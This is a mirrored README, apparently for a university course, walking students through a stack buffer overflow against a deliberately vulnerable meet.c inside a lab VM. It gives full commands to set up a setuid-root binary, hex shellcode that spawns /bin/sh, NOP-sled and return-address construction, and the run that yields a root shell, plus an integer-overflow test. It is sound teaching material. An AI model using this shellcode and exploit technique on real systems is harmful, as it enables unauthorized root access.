Giter Site home page Giter Site logo

vulnerability-demo's Introduction

Prequisites

These in-class demonstrations are designed to work inside a virtual machine running (an ancient) version of Linux. We provide basic VM images for either Oracle VirtualBox or vmware. CSL Linux machines all have VirtualBox pre-installed.

VM images

VirtualBox

vmware

Image: http://pages.cs.wisc.edu/~ace/assets/vmware-boxes-2.1.tar.bz2

Tips for these VM images

  • The user account username/password: user/user
  • The root account username/password: root/root

SSH access

Sometimes accessing the VM via SSH is easier (copy-paste may work better, and you can transfer files both way using the scp command). Startup the VM, login as user or root, find the local IP address using the command:

 /sbin/ifconfig

Find the inet address assigned to this VM.

inet addr:172.16.250.140

Connect via SSH:

Copy files TO the VM:

scp demo/* [email protected]:~/

Copy files FROM the VM:

scp [email protected]:~/* demo/

Resources

This meet.c exploit demo is taken form Chapter 11 of the Ethicial Hacker's Handbook (http://www.pdf-archive.com/2011/02/23/gray-hat-hacking/gray-hat-hacking.pdf). See this document if you get stuck and need more information.

Test and crash meet

Build our source

On the VM, after you've copied these source files, compile the source code.

gcc -o meet meet.c
gcc -o get_sp get_sp.c

Test and break meet

./meet Ace H@x0r
perl -e 'print "A"x200'
echo $(perl -e 'print "A"x200')
./meet Ace $(perl -e 'print "A"x200')
./meet Ace $(perl -e 'print "A"x500')

Control-flow hijack for meet.c

Setup setuid super-meet

Make a copy of meet and mark setuid (remember root password is root).

su root
cp meet super-meet
chown root:root super-meet
chmod u+s super-meet
exit

Generate shellcode

Be careful copy-pasting this command. Copy-pasting might introduce unintended line break characters.

perl -e 'print 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode

Check the length: shellcode should be 53. If not, something is wrong. Maybe you accidentally added an unintended line break or some other character.

wc -c shellcode

Get the stack pointer

./get_sp

Check it twice! It shouldn't change.

./get_sp

Compute an approximate landing spot: ESP - 0x300

(In the lines below, substitute your own ESP values.)

Stack pointer (ESP): 0xbffff672 - 0x300 = 0xbffff372

Convert to little-endian: 0x72 0xf3 0xff 0xbf Use perl to print these 38 times

perl -e 'print"\x72\xf3\xff\xbf"x38' > sp-repeat

Running the exploit

Run the exploit. Keep changing the size of the nop sled until you align the exploit properly on the stack. Try 200, 201, 202, ....

./meet ace $(perl -e 'print "\x90"x200'; cat shellcode sp-repeat)

Check super-meet, should be marked setuid

ls -l

Check your id, should be user(1000)

id

Run the exploit against super-meet. If you get a shell, check your uid using id.

./super-meet ace "$(perl -e 'print "\x90"x200'; cat shellcode sp-repeat)"

Test integer overflow vulnerability

gcc -o width width.c
./width 5 "Hello there"
./width 85 "Hello there:
./width 65536 "Hello there"

Issues

If you find any problems with this demo: send me an email, file an issue, or better yet, just send me a pull request.

vulnerability-demo's People

Watchers

James Cloos avatar Nick Heindl avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.